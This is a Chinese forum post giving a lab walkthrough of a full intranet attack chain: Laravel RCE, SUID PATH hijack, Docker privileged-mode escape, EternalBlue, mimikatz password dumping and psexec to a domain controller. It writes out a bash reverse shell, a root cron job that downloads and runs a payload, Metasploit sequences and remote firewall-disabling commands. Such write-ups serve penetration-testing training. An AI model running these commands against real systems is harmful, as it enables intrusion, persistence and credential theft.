电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 680 人浏览分享

一次Docker逃逸引起域控权限的丢失

[复制链接]
680 0
前言:

内网是一个只有组织工作人员才能访问的专用网络,简而言之就是不可简单地通过外部公网ip进行访问到的公司内部网络
对于一个大型公司的网络系统,通过信息收集找到网站漏洞可以顺利通过公网进入公司内部网络时,进一步对公司内部网
络的渗透攻击即为内网渗透。与外网渗透区别是外网渗透更侧重于找漏洞寻找突破口,考验的是渗透测试人员的综合能力
外网渗透的最终还是为了进入内网。而内网渗透更侧重于对目标的熟悉程度,内网相对于外网更为复杂,但是一旦让黑客
进入到内网中很可能会造成数据泄露,勒索病毒,监听...事件的产生。此次分享给大家带来一篇由外网打点直到拿到内网
域控主机控制权的全过程。

一.环境配置

整个靶场环境一共五个靶机,分别位于三层网络环境中:

网络拓扑如下:

QQ截图20220425144915.png

DMZ区IP段为192.168.1.0/24

第二层网络环境IP段为192.168.52.1/24

第三层网络环境IP段为192.168.93.1/24

二. Web打点

首先我们拿到了目标的IP资产信息,为192.168.0.149,那么我们第一步要做的就是进行渗透测试前的信息
收集俗话说的好,信息收集的宽度决定了渗透测试的深度。于是我们直接拿出我们的大宝剑nmap先进行
目标IP的端口探针 Zenmap探针结果如下:

QQ截图20220425145024.png

通过ARL灯塔信息收集看看有什么成果。

20020.png
5138.png

最终发现目标192.168.0.149开放了22,80,81和6379端口,看到6379首先心里面想到了redis
的未授权想着是否存在未授权呢?

我们首先访问目标IP的81端口。

5126.png

发现是个Laravel的站点,上百度查询发现官方给出的答案。

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以让你从面条一样杂乱的代码
中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。
在Laravel中已经具有了一套高级的PHP ActiveRecord实现 -- Eloquent ORM。它能方便的将
约束(constraints)应用到关系的双方,这样你就具有了对数据的完全控制,而且享受到ActiveRecord的所
有便利。Eloquent原生支持Fluent中查询构造器(query-builder)的所有方法。

上网查了下Laravel爆出来的漏洞,发现也有很多,发现了CVE-2021-3129 Laravel Debug mode RCE漏洞 既然时
RCE我们是否可以尝试用此漏洞直接拿到目标的webshell呢,具体漏洞分析文章看了下是Laravel自带的Ignition组
存在反序列化漏洞,导致攻击者可以构造恶意请求触发Phar反序列化,造成远程代码执行。这里找到了一位师傅的
一份exp,一键getshell。

QQ截图20220425145417.png

三:提权

成功拿到了目标主机的webshell,通过蚁剑链接webshell。

189.png

当打开虚拟终端时候返回的目标系统信息很不寻常,这时判断自己大概率拿下的仅仅是一个docker权限。

188.png

通过 cat /proc/self/cgroup 获取容器ID id获取当前用户权限。

186.png

现在拿到的docker权限都仅仅是个WWW权限,想要继续渗透必须得提权那么
LINUX提权方式有很多这里我给大家用环境变量提权。

我们查找具有SUID权限的文件。

find / -perm -u=s -type f 2>/dev/null

126.png

我们看到了一个shell文件,心想这样的名字肯定不是linux系统自带的,极大可能是运维人员留下来的
所以我们切到对应目录发现有一个demo.c文件猜想其编译完成就是我们的shell文件。

100.png

对应的demo是一个ps的命令功能。

99.png

我么执行下shell发现正是ps功能。

98.png

在demo.c中存在system函数,而system函数继承环境变量,可以通过替换环境变量可以达到执行任意命令。

在 tmp 目录(随便目录都可以)下创建一个ps文件。

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

但这里通过蚁剑去提权总是失败于是决定经shell反弹给我们的kali主机。

96.png

kali收到会话:

93.png

再次进行提权环境变量中成功添加了tmp目录。

92.png

这里我们成功拿到了目标主机的root权限。

91.png

四:docker逃逸:

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外
部物理机普通用户权限。使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run
—privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。当控制使用特权
模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的
文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

首先我们现在docker中新建一个/hacker目录用来挂在文件:

mkdir /hack

ls /dev看到/dev目录会发现很多设备文件

90.png

我们可以尝试将 /dev/sda1 挂载到/hack目录里:

mount /dev/sda1 /hacker

挂载完成切换到hacker目录我们做信息收集。

89.png

这里我把宿主机的会话反弹到我们的kali主机上,kali监听7777端口。

bash -c 'exec bash -i &>/dev/tcp/192.168.0.123/7777 <&1

88.png

这里我发现通过shell里面执行ifconfig命令不可以,所以心想着该用我们强大的后渗透工MSF了
输入下面命令。

86.png

MSF构建会话

use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.123
set lport 4444
exploit

83.png

echo '* * * * * wget -qO TCeAmweH --no-check-certificate http://192.168.0.1
23:8080/3gIlS0ed3rbQ3; chmod +x TCeAmweH; ./TCeAmweH& disown' >>
/hacker/var/spool/cron/crontabs/root

82.png

收集ip信息发现。

81.png

发现我们的两个网段,但是1网段没有找到,再次查看拓扑图发现我们现在应该是直接到了第二台ubutun
那么为什么没有经过第一个直接到第二个呢,原来是目标网站是做了反向代理了,也就是说此时拿下的才
是真正的Web服务器,前面那个仅仅是一台代理机。

80.png

我们吹响进攻内网域控的号角,前面发现了另一个网段93,于是我们添加路由。
run post/multi/manage/autoroute
run autoroute -p

69.png

之后添加代理:

use auxiliary/server/socks_proxy
set SRVHOST 192.168.0.123
set SRVPORT 5566
exploit

68.png

将nmap添加到sockscap中探针内网网段。

66.png

探针到我们52网段下抛去网关和广播地址不看有三台主机分别两台linux和一台windows主机。

63.png

我们现在拿到的权限是192.168.52.20,看到192.168.52.10端口开放情况推断出应该是之前提到
过的代理机所以我们把目标放在192.168.52.30。

62.png

探针192.168.52.30的端口情况开放了88端口对应的是一个web页面。

61.png

60.png

18.png

是个通达OA,经测试其版本为通达OA V11.3,该版本存在任意用户登录、文件包含和文件上传等
多个漏洞所以我们有这样一个想发生成一个exe木马然后msf上传到现在的肉鸡,win7远程从肉鸡
开启的http服务上将shell.exe下载下来执行。

但是这里我并没有选择这样去做因为我发现探测他的93网段发现了两台新主机93.30和93.40而且
有一台是windows7参考靶场文档有永恒之蓝漏洞,所以心想试试万一成功了就可以直接跳到下
一网段,省去好多事,岂不美滋滋。

16.png

93.40是windows主机我们这里想是否存在永恒之蓝漏洞所以我们用msf尝试。

13.png

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit

12.png

接着,我们使用meterpreter上的kiwi模块尝试抓取域用户及域管理员的密码:

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

11.png

10.png

我们现在的攻击路径:

9.png

发起总攻向域控。

先关闭其防火墙

net use \192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \192.168.93.30 start unablefirewall

然后使用SMB协议横向拓展到域控主机

use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
set smbuser administrator
set smbpass Whoami2021
exploit

8.png

6.png

顺利拿下整个靶场,总体来说这套红日的靶场难度还是有的,从web打点--->docker提权---->docker逃逸
---->信息收集----->永恒之蓝----->SMB横向拓展----->域控权限。打完之后收获很多,尤其对docker上
的渗透测试有了新的认识,但并没有将靶场内的所有点都进行测试一遍,只是选了一条我认为最佳最有效
的进攻路线,当拿到了域控权限可以dump整个hash也是一种变向拿到了所有主机的权限。文笔粗浅文中
如有表达有误的地方,恳请各位师傅指教。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.